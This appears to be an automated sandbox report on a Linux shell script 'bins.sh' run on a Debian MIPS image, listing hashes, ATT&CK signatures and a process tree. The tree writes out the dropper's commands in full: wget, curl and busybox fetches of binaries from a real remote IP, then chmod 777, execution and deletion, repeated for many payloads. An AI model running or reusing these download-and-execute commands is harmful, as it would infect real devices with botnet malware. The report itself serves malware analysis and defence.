a62ff32ef983fc9db393a855c7e3e7b41070a15a20c498d3ba08d55197b5d71c

Analysis

max time kernel
68s
max time network
67s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
12/01/2025, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample250112-rylfwsynfk
SHA256 a62ff32ef983fc9db393a855c7e3e7b41070a15a20c498d3ba08d55197b5d71c
MD5 5ef92ea3fc6d04b5f58588f36c6d8b8b
SHA1 b7521440aad74684a0b6172ec49a43a1514fa572
SHA512 b0966205a24db9409c5b677bcff4350e8180933c84522251661ca953d0c94f1548c4ba6135d30e15b05c60879abaf9a356ef807312879ead6262eb093b88ace4
SSDEEP 96:tcVubLb0QvYRzBZL9s9c9c9f9b950KxHzq2qaubLb0QTiR06BZBIRp9s9c9c9f95:CsYRzBZLeyKZJb0+Hz7BZqeyKZJ1HzNd
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
854	chmod
887	chmod
917	chmod
929	chmod
875	chmod
860	chmod
947	chmod
959	chmod
971	chmod
769	chmod
893	chmod
905	chmod
866	chmod
899	chmod
923	chmod
977	chmod
983	chmod
743	chmod
911	chmod
881	chmod
935	chmod
842	chmod
806	chmod
812	chmod
941	chmod
953	chmod
965	chmod
749	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	curl
File opened for modification	/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	curl
File opened for modification	/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	curl
File opened for modification	/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	curl
File opened for modification	/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	curl
File opened for modification	/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	curl
File opened for modification	/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	curl
File opened for modification	/tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27	curl
File opened for modification	/tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG	curl
File opened for modification	/tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27	curl
File opened for modification	/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	curl
File opened for modification	/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	curl
File opened for modification	/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	curl
File opened for modification	/tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5	curl
File opened for modification	/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	curl
File opened for modification	/tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2	curl
File opened for modification	/tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU	curl
File opened for modification	/tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11	curl
File opened for modification	/tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP	curl
File opened for modification	/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	curl
File opened for modification	/tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5	curl
File opened for modification	/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	curl
File opened for modification	/tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2	curl
File opened for modification	/tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG	curl
File opened for modification	/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	curl
File opened for modification	/tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP	curl
File opened for modification	/tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU	curl
File opened for modification	/tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:712
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:716
- /usr/bin/wget
  wget http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:742
- /bin/chmod
  chmod 777 8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  ./8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm 8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:745
- /usr/bin/wget
  wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:748
- /bin/chmod
  chmod 777 5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  ./5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm 5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:751
- /usr/bin/wget
  wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:761
- /bin/chmod
  chmod 777 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  ./8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:773
- /usr/bin/wget
  wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:775
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:805
- /bin/chmod
  chmod 777 BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  ./BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:808
- /usr/bin/wget
  wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:811
- /bin/chmod
  chmod 777 so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  ./so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:816
- /usr/bin/wget
  wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:837
- /bin/chmod
  chmod 777 Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  ./Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:846
- /usr/bin/wget
  wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:853
- /bin/chmod
  chmod 777 M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  ./M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:856
- /usr/bin/wget
  wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:859
- /bin/chmod
  chmod 777 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  ./44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:862
- /usr/bin/wget
  wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:865
- /bin/chmod
  chmod 777 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  ./0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:868
- /usr/bin/wget
  wget http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:874
- /bin/chmod
  chmod 777 UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  ./UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:877
- /usr/bin/wget
  wget http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:880
- /bin/chmod
  chmod 777 JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  ./JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:883
- /usr/bin/wget
  wget http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:886
- /bin/chmod
  chmod 777 pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  ./pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:889
- /usr/bin/wget
  wget http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:892
- /bin/chmod
  chmod 777 UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  ./UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:895
- /usr/bin/wget
  wget http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:896
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:898
- /bin/chmod
  chmod 777 6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  ./6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm 6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:901
- /usr/bin/wget
  wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:902
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:904
- /bin/chmod
  chmod 777 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  ./8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:907
- /usr/bin/wget
  wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:910
- /bin/chmod
  chmod 777 BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  ./BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:913
- /usr/bin/wget
  wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:914
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:916
- /bin/chmod
  chmod 777 so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  ./so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:919
- /usr/bin/wget
  wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:922
- /bin/chmod
  chmod 777 Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  ./Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:925
- /usr/bin/wget
  wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:928
- /bin/chmod
  chmod 777 M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  ./M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:931
- /usr/bin/wget
  wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:934
- /bin/chmod
  chmod 777 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  ./44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:937
- /usr/bin/wget
  wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:938
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:940
- /bin/chmod
  chmod 777 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  ./0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:943
- /usr/bin/wget
  wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:944
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:945
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:946
- /bin/chmod
  chmod 777 5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  ./5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm 5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:949
- /usr/bin/wget
  wget http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:950
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:952
- /bin/chmod
  chmod 777 UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  ./UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:955
- /usr/bin/wget
  wget http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:958
- /bin/chmod
  chmod 777 pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  ./pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:961
- /usr/bin/wget
  wget http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:962
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:964
- /bin/chmod
  chmod 777 UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  ./UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - Executes dropped EXE
  PID:966
